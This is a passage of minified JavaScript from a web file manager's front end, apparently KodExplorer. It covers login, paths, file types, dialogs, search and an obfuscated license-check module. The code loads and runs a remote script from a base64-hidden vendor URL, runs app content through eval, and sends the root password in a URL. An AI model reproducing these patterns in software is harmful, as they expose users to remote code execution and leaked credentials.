e=trim(a.val());e!=n.val()?Tips.tips(LNG.login_root_password_equal,!1):""==e?(Tips.tips(LNG.login_root_password_tips,!1),a.focus()):window.location.href="./index.php?user/loginFirst&password="+urlEncode(e)}),$(".LICENSE_SUBMIT").bind("click",function(){var e=a.val();""==e?(Tips.tips(LNG.not_null,!1),a.focus()):window.location.href="./index.php?user/version_install&license_code="+e})})}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"
        ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==t.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==t&&(t="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置
        请联系主机商或网管,检查防火墙配置!"),t='
        '+t+"
        ",i?i.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,t,i){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,a){core.ajaxError(e,t,a),"function"==typeof i&&i()},success:function(e){"function"==typeof t&&t(e.data.content,e,n)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
        loading..
        ';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
        "+"
        "+s+"
        "+"
        "},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
      • \n
        \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
        \n
          \n {{each v.search_info as value index}}\n
        • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
        • \n {{/each}}\n
        \n
      • \n {{else}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
        \n \n
        \n
        \n
        \n
        {{LNG.upload_select}}
        \n \n \n \n
        \n \n
        \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        {{LNG.download_address}}\n
        \n \n \n \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n'),define("app/common/tpl/fileinfo/file_info.html",[],"
        \n {{if download_path}}\n
        \n
        {{LNG.download_address}}:
        \n
        \n \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n {{/if}}\n\n
        \n
        {{LNG.address}}:
        \n
        {{path |window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n\n {{if file_md5}}\n
        \n
        MD5:
        \n
        {{file_md5}}
        \n
        \n
        \n {{/if}}\n\n {{if image_size}}\n
        \n
        {{LNG.image_size}}:
        \n
        {{image_size.width}} × {{image_size.height}}
        \n
        \n
        \n {{/if}}\n\n
        \n\n {{if ctime}}\n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n {{/if}}\n\n {{if mtime}}\n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n {{/if}}\n\n {{if atime}}\n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n {{/if}}\n \n {{if mode}}\n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n {{/if}}\n
        \n"),define("app/common/tpl/fileinfo/path_info.html",[],"
        \n
        \n
        {{LNG.address}}:
        \n
        {{path |window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n
        \n
        {{LNG.contain}}:
        \n
        {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
        \n
        \n
        \n \n
        \n {{if ctime}}\n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n {{/if}}\n\n {{if mtime}}\n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n {{/if}}\n\n {{if atime}}\n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n {{/if}}\n\n {{if mode}}\n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n {{/if}}\n
        \n"),define("app/common/tpl/zipview.html",[],''),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,''+t+""); +else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+''+e.substr(i,t.length)+""+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(tpl_search_list);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return 